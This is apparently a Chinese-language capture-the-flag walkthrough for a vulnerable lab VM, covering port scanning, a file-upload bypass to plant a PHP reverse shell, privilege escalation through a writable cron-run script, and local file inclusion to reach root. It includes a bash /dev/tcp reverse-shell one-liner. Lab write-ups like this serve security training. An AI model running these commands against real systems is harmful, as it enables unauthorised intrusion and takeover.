题目描述
Goal: 2 flagas
Difficulty: Easy-intermediate
Information: Your feedback is appreciate:
Twitter: @0x04E1
This works better with VirtualBox rather than VMware
环境下载
- 戳此进行环境下载
DevContainer:1靶机搭建
- 将下载好的靶机环境,导入 VritualBox,设置为 Host-Only 模式
- 将 VMware 中桥接模式网卡设置为 VritualBox 的 Host-only
- 目标靶机的 IP 地址为:
192.168.56.108
- 攻击机的 IP 地址为:
192.168.56.102
渗透测试
信息搜集
用 Nmap 扫描一下目标靶机的端口信息:
sudo nmap -sS -A 192.168.56.108
,发现开放了 80 端口
用 dirb 扫描一下 80 端口 web 目录:
dirb http://192.168.56.108
漏洞挖掘
- 根据 dirb 扫描结果,访问
http://192.168.56.108/upload/
发现文件上传页面,并根据 F12 查看页面源码发现的注释,猜测存在文件上传漏洞
- 利用 Kali 自带的 PHP-Shell,修改后缀名为允许上传的文件后缀名,再利用 burpsuite 抓包修改上传文件信息
getshell
- 用 nc 起一个监听,访问上传的文件,成功接收到反弹的 shell
- 将 shell 变为交互式的 shell
SHELL=/bin/bash script -q /dev/null
提权
- 进一步查找信息,在
/var/www/html
目录下发现一个可疑目录Maintenance-Web-Docker
- 其中
list.sh
可写,尝试写入一个反向 shell
echo "bash -i >& /dev/tcp/192.168.56.102/4444 0>&1" >> list.sh
- 通过查看
out.txt
我们发现每一分钟运行一次list.sh
,开启 nc 监听后等一会成功接收到反弹的 shell
Flag-1
- 在家目录下的
user.txt
成功得到 Flag-1
- 注意到存在一个目录
HackTools
- 运行命令:
/home/richard/HackTools/socat TCP-LISTEN\:8080\,fork TCP\:127.0.0.1\:90
,并查看一下 90 端口上运行着什么
- 访问
http://192.168.56.108:8080/
,测试后发现存在文件包含漏洞
Flag-2
- 包含之前上传的 shell,访问
http://192.168.56.108:8080/index.php?view=../../../../../../home/richard/web/upload/files/shells.php
- 开启监听,成功接收到反弹的 shell,拿到 root 权限,成功拿到 Flag-2